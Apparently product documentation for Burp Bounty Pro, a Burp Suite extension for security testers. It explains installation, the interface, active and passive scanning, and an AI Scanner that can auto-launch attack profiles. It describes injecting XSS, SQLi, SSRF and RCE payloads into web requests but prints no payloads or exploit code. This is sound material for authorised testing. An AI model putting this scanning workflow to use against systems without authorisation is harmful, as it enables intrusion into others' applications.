# Introduction

<div align="center"><img src="/files/4Lr9Abel46Cg4Rv7wp23" alt="" width="700"></div>

**Burp Bounty Pro** is a powerful Burp Suite extension that allows security researchers and bug bounty hunters to create custom scan profiles for detecting vulnerabilities in web applications. It extends Burp Suite's scanning capabilities by letting you define custom payloads, match conditions, and detection rules — without writing any code.

### ✨ Key Features

* 🤖 **AI Scanner** — AI-powered analysis that identifies attack surfaces, correlates parameters with vulnerability types, detects technologies, and auto-launches the right scan profiles. Supports OpenAI, Anthropic, Google Gemini, OpenRouter, and local models (Ollama)
* 🎯 **Custom Active Scanning** — Define payloads and match patterns to detect vulnerabilities like XSS, SQLi, SSRF, RCE, path traversal, and more
* 👁️ **Passive Scanning with Tag-Based Launching** — Analyze requests and responses passing through Burp Suite. Launch passive scans by tag to run only the checks you need (e.g., only security headers, only secret detection)
* 🧠 **Smart Scan (Rules)** — Create IF-THEN rules that automatically trigger active scans when specific passive conditions are detected
* 🔗 **Multi-Step Profiles** — Chain multiple scanning steps together with cookie reuse and sequential execution for complex attack scenarios
* 🔀 **Global Variables** — Use dynamic variables like `{REDIRECT_DOMAIN}`, `{BC}`, `{CURRENT_HOST}` in payloads and match patterns
* 📦 **256 Default Profiles** — Ready-to-use profiles covering CVEs, common vulnerabilities, technology detection, and sensitive data exposure
* 📋 **28 Default Rules** — Pre-configured Smart Scan rules for automated vulnerability detection workflows
* 🔍 **Flexible Match Types** — Simple string, regex, payload reflection, response variations, content length differences, HTTP response codes, time-based detection, and Burp Collaborator integration
* 📍 **30+ Insertion Point Types** — URL parameters, body parameters, cookies, JSON keys/values, XML, HTTP headers, URL path components, and more
* 🔎 **Scan Scope** — Per-profile scan scope: per-URL (default) or per-host for path discovery and fixed-path CVE profiles
* ⚡ **Per-Scan Performance Settings** — Configure threads, concurrency, and requests per second independently for each scan
* ⏸️ **Pause & Resume** — True thread-safe pause/resume that preserves full scan state. Paused time is excluded from scan duration.
* 🏷️ **Tags System** — Organize profiles with tags across all profile types. Tags power the passive scan submenu and Smart Scan rule targeting.
* 📤 **Profile Import/Export** — Share and reuse profiles across teams with JSON-based `.bb` profile files

### 🆕 What's New in v3.1.0

* 🤖 **AI Scanner** — AI-powered reconnaissance that analyzes parameters, detects technologies, identifies attack surfaces, and auto-launches the right scan profiles. Supports OpenAI, Anthropic, Google Gemini, OpenRouter, and local models (Ollama). Includes programmatic response analysis for reflection context detection and customizable prompts.
* 🔎 **Scan Scope (per-host)** — New `scanScope` field in active profiles. Per-URL (default) scans every URL; per-host scans once per host:port, ideal for path discovery and fixed-path CVE profiles.
* 📊 **Redesigned Scanners Tab** — The Scanner tab is now split into dedicated sub-tabs: **Active**, **Passive**, **Smart**, **AI**, and **Live**, each with its own results table, entry controls, and request/response viewers.
* ⚡ **Context-Aware Scanner Settings** — The URL Filter popup now adapts its settings based on the scan type (Active, Smart, Passive, AI Scanner), showing only relevant options for each.
* 📨 **Passive & Smart Scanner Tabs** — Dedicated tabs for monitoring passive scan results and Smart Scan rule matches with real-time entry tracking.

### What's New in v3.0.0

* 🔗 Multi-step scanning for complex attack chains
* 🔀 Global variables system with user-configurable values
* ⏱️ Time-based vulnerability detection engine
* ⚡ **Per-scan scanner settings** (threads, concurrency, RPS) in the scan popup
* ⏸️ **Pause/resume** with PausableThreadPoolExecutor — true zero-loss state management
* 🏷️ **Tag-based passive scan launching** with Request/Response submenus and profile counts
* 🏷️ **Tags column and Set New Tag** on all profile tables (Active, Passive Request, Passive Response)
* 🎯 Stop-on-first-match optimization for single-step profiles
* 🪟 Non-modal dialogs, profile duplication, payload/grep markers
* 🔗 URL filtering for all scan types
* 🛡️ 30-redirect loop protection and scan timeout detection (with paused time excluded)

### 🚀 Getting Started

Head to the [Installation](/getting-started/installation) guide to set up Burp Bounty Pro, or jump straight to the [Quick Start](/getting-started/quick-start) guide to run your first scan.

### 📚 Documentation Overview

| Section                                                       | Description                                         |
| ------------------------------------------------------------- | --------------------------------------------------- |
| 🚀 [Quick Start](/getting-started/quick-start)                | Run your first scan in 5 minutes                    |
| 🖥️ [Interface Overview](/getting-started/interface-overview) | Understand all tabs and controls                    |
| 🎯 [Active Scan](/scanning/active-scan)                       | Active scanning with custom payloads                |
| 👁️ [Passive Scan](/scanning/passive-scan)                    | Passive analysis with tag-based launching           |
| 🧠 [Smart Scan](/scanning/smart-scan)                         | Automated scanning with IF-THEN rules               |
| 🤖 [AI Scanner](/scanning/ai-scan)                            | AI-powered analysis and auto-scanning               |
| ⚙️ [Scan Control](/scanning/scan-control)                     | Pause/resume, per-scan settings, performance tuning |
| 📝 [Profiles](/profiles/overview)                             | Creating and managing scan profiles                 |
| 🏷️ [Tags](/profiles/tags)                                    | Organizing profiles with tags                       |
| 📋 [Rules](/rules/overview)                                   | Creating Smart Scan rules                           |
| 🔀 [Variables](/variables/global-variables)                   | Global variable reference                           |
| ⚙️ [Settings](/options/settings)                              | Configuration options                               |
| 📦 [Default Profiles](/reference/default-profiles)            | 256 built-in profiles reference                     |
| 📋 [Default Rules](/reference/default-rules)                  | 28 built-in rules reference                         |
| ❓ [FAQ](/appendix/faq)                                        | Frequently asked questions                          |


# Installation

![Extension loaded in Burp Suite](/files/8AwLD2lP0yV8TFGjy0cE)

## 📋 Prerequisites

Before installing Burp Bounty Pro, ensure you have the following:

* ✅ **Burp Suite Professional** installed on your system (Community Edition has limited scanning capabilities)
* ✅ **Java Runtime Environment (JRE)** version 14 or above

## 🔧 Installation Steps

### 1️⃣ Download the Extension

Obtain the latest version of Burp Bounty Pro from the official website at [bountysecurity.ai](https://bountysecurity.ai) or from your purchase confirmation email.

### 2️⃣ Launch Burp Suite

Open Burp Suite Professional.

### 3️⃣ Add the Extension

1. Navigate to the **Extensions** tab (formerly called "Extender")
2. Click on the **Installed** sub-tab
3. Click the **Add** button

![Add button in Extensions tab](/files/Dc1zKtNtYwvIT53r1gL9)

### 4️⃣ Configure the Extension

In the dialog that appears:

1. Select **Java** as the extension type
2. Click **Select file...** and choose the `BurpBountyPro.jar` file you downloaded
3. Click **Next** to proceed with the installation

![Add extension dialog](/files/1KDlxSFjPD8zZBNK7gyb)

### 5️⃣ Verify Installation

Ensure that:

* ✅ The extension is listed in the **Installed** extensions list with the checkbox ticked
* ✅ No errors appear in the extension output panel
* ✅ The **Burp Bounty Pro** tab appears in the main Burp Suite tab bar

![Burp Bounty Pro tab visible](/files/2fRsFsPqEeVtSdKCWf2H)

### 6️⃣ Start Using Burp Bounty Pro

Access the newly added **Burp Bounty Pro** tab in the Burp Suite interface. You're ready to begin configuring your profiles and start your security testing! 🎉

## 🚀 First Launch

When Burp Bounty Pro loads for the first time, it will:

1. 📦 **Auto-load default profiles** — 254 pre-configured scanning profiles are loaded from the bundled `BurpBountyData` directory
2. 📋 **Auto-load default rules** — 27 Smart Scan rules are loaded for automated vulnerability detection
3. 🔀 **Initialize default variables** — Global variables like `{REDIRECT_DOMAIN}` are set to their default values

A new **Burp Bounty Pro** tab will appear in the main Burp Suite interface with sub-tabs for Dashboard, Scanner, Profiles, Rules, Options, Variables, License, and About.

![First launch with default profiles](/files/z6SeEmPKpqevhKXaT8Ht)

## 🔑 License Activation

1. Navigate to the **Burp Bounty Pro** tab
2. Click the **License** sub-tab
3. Enter your license key
4. Click **Activate**

![License activation tab](/files/JCPr7VgUfWKte2TGsRrl)

## ✅ Verifying Installation

After installation, verify that:

* ✅ The **Burp Bounty Pro** tab appears in the main Burp Suite window
* ✅ The **Dashboard** sub-tab shows the scan control buttons (Pause All, Resume All, Stop, Clear Issues)
* ✅ The **Profiles** sub-tab lists loaded profiles across all three tables:
  * 🎯 **Active Profiles** — with columns: Enabled, Profile Name, Tags, Author's Twitter
  * 📨 **Passive Request Profiles** — with columns: Enabled, Profile Name, Tags, Author's Twitter
  * 📩 **Passive Response Profiles** — with columns: Enabled, Profile Name, Tags, Author's Twitter
* ✅ The **Rules** sub-tab shows the 27 default rules

## 📌 Post-Installation

After installing Burp Bounty Pro, you may want to:

* 📦 **Review Default Profiles** — Familiarize yourself with the 254 default profiles provided and adjust them to fit your testing needs. Use the tag dropdown to browse by category (XSS, SQLi, CVEs, etc.)
* 🚀 **Explore the Quick Start** — Follow the [Quick Start](/getting-started/quick-start) guide to run your first scan in under 5 minutes
* 🔀 **Configure Variables** — Set your `{REDIRECT_DOMAIN}` and `{ATTACKER_DOMAIN}` in the Variables tab
* 🔄 **Check for Updates** — Check for updates regularly to ensure you have the latest features and fixes

## 🔄 Updating

Burp Bounty Pro has a built-in update checker that detects new versions of both the extension and the profiles.

### Check For Updates

1. Go to the **Burp Bounty Pro** tab > **About** sub-tab
2. Click the **Check For Updates** button
3. The extension will check for:
   * 🆕 **New versions of Burp Bounty Pro** — If a new version is available, you'll be notified and can download it
   * 📦 **New versions of the profiles** — Updated and new scanning profiles are downloaded and installed automatically

![About tab with Check For Updates](/files/HADXVO6i7HV9mhS544ex)

> 💡 **Tip:** Check for updates regularly to get the latest vulnerability detection profiles and bug fixes.

> 📝 **Note:** Your existing profiles, rules, and settings are preserved across updates.

## 🔗 Resources

| Resource           | Link                                                                               |
| ------------------ | ---------------------------------------------------------------------------------- |
| 📖 Documentation   | [burpbounty.bountysecurity.ai](https://burpbounty.bountysecurity.ai/burp-bounty/)  |
| 🎥 Video Tutorials | [YouTube Channel](https://www.youtube.com/channel/UCSq4R2o9_nGIMHWZ4H98GkQ/videos) |
| 🌐 Main Website    | [bountysecurity.ai](https://bountysecurity.ai)                                     |
| 🐦 Twitter         | [@BountySecurity](https://x.com/BountySecurity)                                    |
| 📧 Support         | <hello@bountysecurity.ai>                                                          |

## ❓ Need Help?

If you encounter any issues during the installation or have questions about using Burp Bounty Pro, please:

* 📖 Check the [FAQ](/appendix/faq) for common solutions
* 📧 Contact our support team at **<hello@bountysecurity.ai>**


# Quick Start

This guide walks you through running your first scan with Burp Bounty Pro in under 5 minutes.

## Step 1️⃣ — Browse to a Target

1. Configure your browser to use Burp Suite as a proxy
2. Browse to the target web application
3. Ensure the target appears in Burp Suite's **Target** > **Site Map**

## Step 2️⃣ — Select Profiles

1. Go to the **Burp Bounty Pro** tab > **Profiles** sub-tab
2. Review the three profile categories:
   * 🎯 **Active Profiles** — Profiles that send payloads to test for vulnerabilities
   * 📨 **Passive Request Profiles** — Profiles that analyze outgoing requests
   * 📩 **Passive Response Profiles** — Profiles that analyze incoming responses
3. Each table shows: Enabled, Profile Name, **Tags**, and Author's Twitter
4. Enable or disable profiles using the **Enabled** checkbox in each profile row
5. All default profiles are enabled by default

![Active Profiles table](/files/Q5rgQ4q6ijYDYsy6k1s8)

> 💡 **Tip:** Use the tag dropdown at the top to filter profiles by category (XSS, SQLi, CVEs, etc.) and focus on what matters for your target.

## Step 3️⃣ — Enable Smart Scan Rules *(Optional)*

1. Go to the **Rules** sub-tab
2. Review the available rules — these define IF-THEN conditions that automatically trigger active scans when passive matches are found
3. Enable the rules you want (most are enabled by default)

## Step 4️⃣ — Launch an Active Scan

1. In Burp Suite, right-click on target URLs in **Target** > **Site Map**, **Proxy History**, or **Repeater**
2. Select **Active Scan** from the Burp Bounty Pro context menu
3. The **URL Filter popup** appears — review the URLs, configure **Scanner Settings** (Threads, Concurrency, RPS), and click OK
4. Burp Bounty Pro launches the scan with your per-scan settings 🎯

![URL Filter popup with Scanner Settings](/files/HqANbNlQdg3RTdGDRrOz)

> 💡 **Tip:** For fast targets, increase threads to 20. For rate-limited targets, decrease to 3 and set RPS to 2.

## Step 5️⃣ — Launch a Passive Scan

Passive scanning can run in two ways:

### 🔄 Automatic (Live Passive Scan)

1. In the **Dashboard** tab, toggle **Live Passive Scan on**
2. All traffic passing through Burp Suite is automatically analyzed

### 🏷️ Manual (Tag-Based)

1. Right-click on one or more requests
2. Select **Passive Scan** from the context menu
3. Choose the scope from the tag-based submenu:
   * **All** — Run all passive profiles
   * **Passive Request** > **Tag** — Run only request profiles with a specific tag
   * **Passive Response** > **Tag** — Run only response profiles with a specific tag

![Passive Scan context menu with tags](/files/foYSy5BzzGIXZJh7nlgn)

## Step 6️⃣ — Launch an AI Scan *(Optional)*

The AI Scanner uses AI to automatically identify attack surfaces and launch the right profiles:

1. Right-click on one or more requests
2. Select **AI Scanner** from the Burp Bounty Pro context menu
3. Configure the URL filter and click **OK**
4. The AI analyzes each request's parameters, detects reflection contexts, fingerprints technologies, and recommends profiles
5. If **Auto-scan** is enabled, recommended active profiles are launched automatically

> 💡 **Tip:** Configure your AI provider and API key first in **Scanners** > **AI** > **Settings**.

## Step 7️⃣ — Monitor and Control Results

1. Go to the **Burp Bounty Pro** tab > **Dashboard** sub-tab
2. The dashboard shows:
   * 📊 **Scanner progress** — Active tasks, completed scans, and queue status
   * 🐛 **Issues found** — Detected vulnerabilities with severity, confidence, and details
3. Use the control buttons:
   * ⏸️ **Pause All** — Pause all scans without losing progress
   * ▶️ **Resume All** — Resume paused scans from where they left off
   * ⏹️ **Stop** — Stop all scans

![Dashboard with scan progress and issues](/files/FwtY3bpyS9yTADtSbJmy)

## Step 8️⃣ — Review Findings

Each issue reported includes:

* 📛 **Issue Name** — The vulnerability type (e.g., "XSS", "SQLi", "CORS Misconfiguration")
* 🔴🟠🟡🔵 **Severity** — High, Medium, Low, or Information
* 🎯 **Confidence** — Certain, Firm, or Tentative
* 📝 **Detail** — The payload used and the grep pattern that matched

Issues also appear in Burp Suite's **Dashboard** > **Issue activity** for integrated review.

## 📌 Next Steps

* 🖥️ [Interface Overview](/getting-started/interface-overview) — Learn about all the tabs and controls
* 📝 [Creating Active Profiles](/profiles/creating-active-profile) — Create your own vulnerability detection profiles
* 🧠 [Smart Scan](/scanning/smart-scan) — Set up automated scanning workflows with Rules
* 🤖 [AI Scanner](/scanning/ai-scan) — AI-powered analysis and auto-scanning
* ⚙️ [Scan Control](/scanning/scan-control) — Learn about pause/resume, per-scan settings, and performance tuning
* 🏷️ [Tags](/profiles/tags) — Organize profiles and launch targeted passive scans
* 🔀 [Global Variables](/variables/global-variables) — Configure variables like `{REDIRECT_DOMAIN}` and `{BC}`


# Interface Overview

Burp Bounty Pro adds a **Burp Bounty Pro** tab to the main Burp Suite interface. This tab contains several sub-tabs for managing scans, profiles, rules, and settings.

![Burp Bounty Pro main interface](/files/hwuxtdHxC0qB99x4Yafo)

## 📑 Main Tabs

### 📊 Dashboard

The Dashboard is your primary view for monitoring scan activity and reviewing results.

**Scanner Progress Table:**

* Shows active scan tasks with their status (🟢 Running, 🟡 Paused, ✅ Completed, ❌ Failed)
* Displays the profile name, target URL, and progress information
* Real-time updates as scans execute

**Issues Table:**

* Lists all vulnerabilities and findings detected by Burp Bounty Pro
* Columns: Issue Name, Severity, Confidence, Host, Path
* Click on an issue to view its full details including the payload used and grep match

**Control Buttons:**

* ⏸️ **Pause All** — Pauses all running scans using PausableThreadPoolExecutor. Threads block at a safe point and resume exactly where they left off. No scan progress is lost.
* ▶️ **Resume All** — Resumes all paused scans instantly
* ⏹️ **Stop** — Stops all scans and clears the task queue
* 🗑️ **Clear Issues** — Clears the issues table
* 🔄 **Live Passive Scan** — Toggle button to enable/disable automatic passive scanning of all HTTP traffic. When enabled, the "Scope Only" checkbox restricts scanning to in-scope targets.

### 🔎 Scanners

The Scanners tab is organized into dedicated sub-tabs for each scan type:

#### 🎯 Active

The Active sub-tab provides detailed per-request logging of active scan activity.

* Shows every HTTP request made by active scan profiles
* Includes request/response pairs for debugging and analysis
* Displays the profile name, payload, and result for each request
* Highlights in blue when new scan activity starts from Smart Scan or AI Scanner

#### 👁️ Passive

The Passive sub-tab shows results from passive scanning.

* Lists each passive scan entry with host, method, URL, parameter count, and findings summary
* Tracks matched profiles for each scanned request
* Includes request/response viewers

#### 🧠 Smart

The Smart sub-tab tracks Smart Scan rule evaluations and triggered scans.

* Shows matched rules for each request
* Displays which active profiles were launched and scan count
* Links to the triggered active scans

#### 🤖 AI

The AI sub-tab manages AI Scanner entries and results.

* Results table with status (Analyzing, Complete, Error), findings summary, and parameter count
* Detail panel with request/response viewers and full AI JSON response
* Entry controls: Pause, Resume, Cancel, Remove, Clear
* Settings button for configuring AI provider, API key, model, endpoint, and prompts

See [AI Scanner](/scanning/ai-scan) for full documentation.

#### 📡 Live

The Live sub-tab shows real-time passive scan activity from the Live Passive Scan feature.

### 📝 Profiles

The Profiles tab manages all scanning profiles, organized into three categories:

🎯 **Active Profiles:**

* Profiles that actively send payloads to test for vulnerabilities
* Columns: Enabled, Profile Name, **Tags**, Author's Twitter
* Actions: Add, Edit (double-click), Delete, Duplicate, Enable/Disable, Set New Tag, Import, Export

📨 **Passive Request Profiles:**

* Profiles that analyze HTTP requests passing through Burp Suite
* Columns: Enabled, Profile Name, **Tags**, Author's Twitter
* Actions: Add, Edit (double-click), Delete, Duplicate, Enable/Disable, **Set New Tag**, Import, Export

📩 **Passive Response Profiles:**

* Profiles that analyze HTTP responses received by Burp Suite
* Columns: Enabled, Profile Name, **Tags**, Author's Twitter
* Actions: Add, Edit (double-click), Delete, Duplicate, Enable/Disable, **Set New Tag**, Import, Export

> 📝 **Note:** All three profile tables now share the same layout with the Tags column and full right-click context menu (Enable, Disable, Set New Tag).

🏷️ **Tags Manager:**

* View and manage tags used to categorize profiles
* Tags are used in Rules to target groups of profiles
* Tags organize the passive scan context menu into submenus

**Common Actions:**

* 📥 **Import** — Load profiles from `.bb` JSON files
* 📤 **Export** — Save profiles to `.bb` JSON files for sharing
* 📋 **Duplicate** — Clone a profile with auto-generated name suffix
* 🖱️ **Double-click** — Open the profile editor dialog (non-modal)
* 🏷️ **Right-click** > **Set New Tag** — Assign a tag to selected profiles (works on all three tables)

### 📋 Rules

The Rules tab manages Smart Scan rules that define automated scanning workflows.

* Each rule has: Name, Enabled status, Description
* Rules follow an IF-THEN pattern: IF passive conditions match, THEN execute active profiles
* Actions: Add, Edit, Delete, Duplicate, Enable/Disable, Import, Export
* Rule files use the `.bbre` extension

### ⚙️ Options

The Options tab provides global configuration settings:

* ⏱️ **Scan Timeout** — Maximum time for a scan before marking as failed
* 🌐 **Collaborator Refresh** — Polling interval for Burp Collaborator results
* 🔢 **Max Concurrent Scans** — Limit the number of simultaneous scans
* 🚫 **Avoid URLs** — URL patterns to exclude from scanning

> 📝 **Note:** Thread pool size, concurrency, and requests per second are configured **per scan** in the URL Filter popup that appears before each scan, not in the global Options tab. See [Scan Control](/scanning/scan-control).

### 🔀 Variables

The Variables tab manages global variables used in profiles:

* View all configured variables with their current values
* Add, edit, and remove custom variables
* Default variables include `{REDIRECT_DOMAIN}`, `{ATTACKER_DOMAIN}`, `{XXE_FILE}`, and more
* Variables are replaced at runtime in payloads, grep patterns, and raw requests

### 🔑 License

The License tab shows license status and activation:

* Enter and activate license keys
* View license expiration and status

### ℹ️ About

The About tab displays:

* Burp Bounty Pro version (currently v3.1.0)
* Author information
* Links to documentation and support
* 🔄 **Check For Updates** — Button that checks for new versions of Burp Bounty Pro and new/updated scanning profiles

## 🖱️ Context Menus

Burp Bounty Pro integrates with Burp Suite's right-click context menus throughout the application.

### On HTTP Requests (Proxy, Site Map, Repeater, etc.)

| Menu Item            | Description                                     |
| -------------------- | ----------------------------------------------- |
| 🎯 **Active Scan**   | Launch an active scan with the URL Filter popup |
| 🧠 **Smart Scan**    | Launch a Smart Scan with rule-based automation  |
| 👁️ **Passive Scan** | Launch a passive scan with tag-based submenu    |
| 🤖 **AI Scanner**    | Launch AI-powered analysis with auto-scan       |

The **Passive Scan** submenu provides tag-based filtering:

```
👁️ Passive Scan
├── 🌐 All (N)              ← All passive profiles
├── 📨 Passive Request       ← Request profiles organized by tag
│   ├── All (N)
│   ├── Tag1 (N)
│   └── Tag2 (N)
└── 📩 Passive Response      ← Response profiles organized by tag
    ├── All (N)
    ├── Tag1 (N)
    └── Tag2 (N)
```

### On Profile Table Rows

| Menu Item           | Description                                 |
| ------------------- | ------------------------------------------- |
| ✅ **Enable**        | Enable the selected profile(s)              |
| ❌ **Disable**       | Disable the selected profile(s)             |
| 🏷️ **Set New Tag** | Assign a new tag to the selected profile(s) |

Available on all three profile tables (Active, Passive Request, Passive Response).

## 🔗 URL Filter Popup

The URL Filter popup appears before launching Active, Smart, Passive, and AI scans:

| Section                  | Description                                                      |
| ------------------------ | ---------------------------------------------------------------- |
| 🔗 **URL Table**         | Select which URLs to include in the scan                         |
| 🔄 **Match and Replace** | Request modification rules (add headers, change parameters)      |
| ⚡ **Scanner Settings**   | Per-scan performance settings (context-aware based on scan type) |

The Scanner Settings section adapts based on the scan type:

| Scan Type            | Available Settings                                                 |
| -------------------- | ------------------------------------------------------------------ |
| 🎯 **Active Scan**   | Threads, Active Concurrency, Requests/sec                          |
| 🧠 **Smart Scan**    | Threads, Passive Concurrency, Active Concurrency, Requests/sec     |
| 👁️ **Passive Scan** | Threads, Passive Concurrency                                       |
| 🤖 **AI Scanner**    | Threads, AI Analysis Concurrency, Active Concurrency, Requests/sec |


# Active Scan

Active scanning is the core capability of Burp Bounty Pro. It sends custom payloads to the target application and analyzes responses to detect vulnerabilities.

## ⚙️ How It Works

1. 📝 **Profile Selection** — Burp Bounty Pro loads all enabled active profiles
2. 📍 **Insertion Point Discovery** — For each request, Burp Suite identifies insertion points (parameters, headers, path components, etc.)
3. 💉 **Payload Injection** — Each profile's payloads are injected into the matching insertion points
4. 🔍 **Response Analysis** — The response is analyzed using the profile's match conditions (grep patterns, status codes, timing, content length, etc.)
5. 🐛 **Issue Reporting** — If match conditions are satisfied, an issue is created with the configured severity and details

## 🚀 Launching an Active Scan

### From Context Menu *(Recommended)* ⭐

1. Select one or more requests from **Proxy History**, **Target Site Map**, **Repeater**, or any other Burp tool
2. Right-click and select **Active Scan** (under the Burp Bounty Pro submenu)
3. The **URL Filter popup** appears with scan configuration options

### 🔗 URL Filter Popup

Before each scan, the URL Filter popup lets you configure:

| Section                  | Description                                                        |
| ------------------------ | ------------------------------------------------------------------ |
| 🔗 **URL Table**         | Review and select which URLs to include in the scan                |
| 🔄 **Match and Replace** | Define request modifications (header additions, parameter changes) |
| ⚡ **Scanner Settings**   | Configure per-scan performance settings                            |

### ⚡ Scanner Settings (Per-Scan)

Each scan has its own independent performance configuration:

| Setting                    | Description                                  | Default |
| -------------------------- | -------------------------------------------- | ------- |
| 🧵 **Threads**             | Number of threads in this scan's thread pool | 10      |
| 🔀 **Concurrency**         | Maximum concurrent connections               | 10      |
| 📈 **Requests per second** | Rate limit for this scan                     | 10      |

These settings apply **only to this scan** — you can run multiple scans simultaneously, each with different performance settings tailored to the target.

> 💡 **Tip:** For fast, resilient targets, increase to 20-30 threads. For rate-limited targets, decrease to 2-3 threads and 1-2 RPS.

See [Scan Control](/scanning/scan-control) for recommended configurations for different scenarios.

### From Burp Suite Native Scanner

1. Go to **Target** > **Site Map**
2. Right-click on a host, folder, or specific URL
3. Select **Scan** (Burp Suite Professional)
4. Burp Bounty Pro active profiles will run alongside Burp's built-in scanner

> 📝 **Note:** When using Burp's native scanner, the per-scan settings popup does not appear. Default values (10/10/10) are used.

## 📍 What Gets Tested

For each request, Burp Bounty Pro tests all enabled active profiles against all matching insertion points. The insertion points tested depend on the profile's `InsertionPointType` configuration.

Common insertion point categories:

| Category           | Description                                    |
| ------------------ | ---------------------------------------------- |
| 🔗 URL Parameters  | Parameter names and values in the query string |
| 📝 Body Parameters | Parameter names and values in POST body        |
| 🍪 Cookies         | Cookie values                                  |
| 📋 HTTP Headers    | Standard and custom header values              |
| 📂 URL Path        | Path folders, filename, full path              |
| 📦 JSON            | JSON keys and values                           |
| 📄 XML             | XML element values and attribute values        |
| 📎 Multipart       | Multipart form parameter values                |

See [Insertion Points](/profiles/insertion-points) for the complete list.

## 🔄 Scan Flow

```
Request → URL Filter Popup
  │        ├─ URL selection
  │        ├─ Match and Replace
  │        └─ Scanner Settings (Threads, Concurrency, RPS)
  │
  ▼
Enabled Active Profiles → For each profile:
  │
  ├─ Filter insertion points by InsertionPointType
  │
  ├─ For each insertion point:
  │   │
  │   ├─ For each payload:
  │   │   │
  │   │   ├─ Apply encoding (if configured)
  │   │   ├─ Replace variables ({REDIRECT_DOMAIN}, {BC}, etc.)
  │   │   ├─ Inject payload into insertion point
  │   │   ├─ Send request (with redirects if configured)
  │   │   ├─ Apply match conditions
  │   │   │
  │   │   └─ If match → 🐛 Report issue, stop remaining payloads*
  │   │
  │   └─ Next insertion point
  │
  └─ Next profile
```

> \* 🎯 **Stop-on-first-match**: When a payload matches for a given profile and insertion point, remaining payloads for that same combination are skipped. This prevents duplicate issues and improves scan efficiency.

## ⏸️ Pause, Resume & Stop

During an active scan:

* ⏸️ **Pause All** — Pauses all threads instantly. No requests are lost — threads block at a safe synchronization point.
* ▶️ **Resume All** — All paused threads wake up and continue from where they stopped.
* ⏹️ **Stop** — Stops the scan entirely and clears the queue.

⏱️ Paused time is tracked and excluded from the total scan duration.

See [Scan Control](/scanning/scan-control) for details on the PausableThreadPoolExecutor.

## 🔍 Match Types

Each profile defines how to determine if a vulnerability was found:

| Match Type                   | Description                                  |
| ---------------------------- | -------------------------------------------- |
| 🔤 Simple String / Regex     | Search for patterns in the response          |
| 🪞 Payload Reflection        | Check if the payload appears in the response |
| 📊 Variations / Invariations | Compare response attributes across requests  |
| 📏 Content Length            | Detect differences in response size          |
| 🔢 HTTP Response Code        | Match specific status codes                  |
| ⏱️ Timeout                   | Detect timing-based vulnerabilities          |
| 🌐 Collaborator              | Out-of-band detection via Burp Collaborator  |

See [Match Types](/profiles/match-types) for detailed documentation.

## 🔀 Redirection Handling

Active scans can follow HTTP redirects. Configure per profile:

* 🚫 **Never follow** — Only analyze the initial response
* 🏠 **On-site only** — Follow redirects to the same host
* 🎯 **In-scope only** — Follow redirects within Burp's target scope
* 🌐 **Always** — Follow all redirects
* 🔄 **Follow redirects** — Follow with maximum redirect limit

See [Redirections](/profiles/redirections) for details.

## 🔎 Scan Scope

Active profiles support a **Scan Scope** setting that controls how often the profile runs:

| scanScope | Mode                  | Behavior                                      |
| --------- | --------------------- | --------------------------------------------- |
| 0         | **Per-URL** (default) | Profile runs on every URL scanned             |
| 1         | **Per-Host**          | Profile runs once per `host:port` combination |

**Per-Host** scope is ideal for:

* 📂 **Path discovery profiles** — Directory fuzzing only needs to run once per host
* 🔐 **Fixed-path CVE profiles** — CVE probes targeting specific paths (e.g., `/wp-admin/`, `/actuator/`)
* 📡 **Raw request profiles** — Profiles that send requests to fixed URLs regardless of the scanned page

When a per-host profile has been executed on a given host:port, it's skipped for subsequent URLs on the same host. This significantly reduces scan time and duplicate findings.

> 💡 **Tip:** Of the 256 default profiles, 63 use per-host scope (path discovery, CVE-specific, raw requests). The remaining 193 use per-URL scope.

## ⚡ Performance Considerations

* 🧵 **Per-Scan Thread Pool** — Configure the number of concurrent threads, concurrency, and RPS in the scan popup
* 📝 **Profile Selection** — Disable profiles you don't need to reduce scan time
* 🏷️ **Tags** — Use tags and rules to target specific profile groups instead of running all profiles
* 🎯 **Stop-on-first-match** — The scanner automatically stops testing remaining payloads after a match, reducing redundant requests
* 🔎 **Scan Scope** — Per-host profiles automatically deduplicate, reducing redundant requests across URLs on the same host
* ⏸️ **Pause & Resume** — If you notice the target is struggling, pause the scan and adjust your approach


# Passive Scan

Passive scanning analyzes HTTP traffic passing through Burp Suite without sending any additional requests. It can run automatically in the background (Live Passive Scan) or be launched manually against selected requests with fine-grained tag-based filtering.

## 📝 Types of Passive Profiles

Burp Bounty Pro has two types of passive profiles:

### 📩 Passive Response Profiles

**Scanner type: 2**

Analyze HTTP responses received from the server. Use these to detect:

* 🔑 Sensitive information disclosure (API keys, tokens, credentials)
* 🛡️ Security header misconfigurations (CSP, HSTS, X-Frame-Options)
* 🖥️ Technology fingerprinting (server banners, framework detection)
* ⚠️ Error messages and debug information
* 🌐 Domain takeover indicators
* 🔐 Hardcoded secrets and configuration data

**How it works:**

1. Burp Suite receives an HTTP response
2. All enabled Passive Response profiles are checked against the response
3. Each profile's grep patterns are matched against the response body and/or headers
4. If conditions match, an information issue is reported

### 📨 Passive Request Profiles

**Scanner type: 3**

Analyze HTTP requests sent by the browser or client. Use these to detect:

* 💉 Interesting parameters (SQLi, XSS, SSRF, RCE candidates)
* 🔗 API endpoints and technology indicators
* 🔑 Authentication tokens and session identifiers
* 🖥️ URL patterns suggesting specific technologies (Jira, WordPress, etc.)
* 🐛 Debug and testing parameters

**How it works:**

1. Burp Suite intercepts an HTTP request
2. All enabled Passive Request profiles are checked against the request
3. Each profile's grep patterns are matched against the request URL, headers, and/or body
4. If conditions match, an information issue is reported

## 🚀 Launching a Passive Scan

### 🖱️ Manual Passive Scan (Context Menu)

You can manually launch passive scans against selected requests from anywhere in Burp Suite:

1. Select one or more requests in **Proxy History**, **Target Site Map**, **Repeater**, or any other Burp tool
2. Right-click and select **Passive Scan**
3. Choose the scope of the scan from the submenu:

#### 🏷️ Tag-Based Passive Scan Submenu

```
👁️ Passive Scan
├── 🌐 All (125)                    ← Run ALL passive profiles (request + response)
│
├── 📨 Passive Request              ← Request profiles only
│   ├── All (48)                 ← All enabled request profiles
│   ├── Parameters (12)          ← Only profiles tagged "Parameters"
│   ├── API (5)                  ← Only profiles tagged "API"
│   ├── Technology (8)           ← Only profiles tagged "Technology"
│   └── ...                      ← Other tags
│
└── 📩 Passive Response             ← Response profiles only
    ├── All (77)                 ← All enabled response profiles
    ├── Security_Headers (15)    ← Only profiles tagged "Security_Headers"
    ├── Secrets (10)             ← Only profiles tagged "Secrets"
    ├── Cookie_Security (3)      ← Only profiles tagged "Cookie_Security"
    └── ...                      ← Other tags
```

Each menu item shows the **count of matching profiles** in parentheses. Tags are sorted alphabetically, with "All" always at the top.

**Benefits of tag-based launching:**

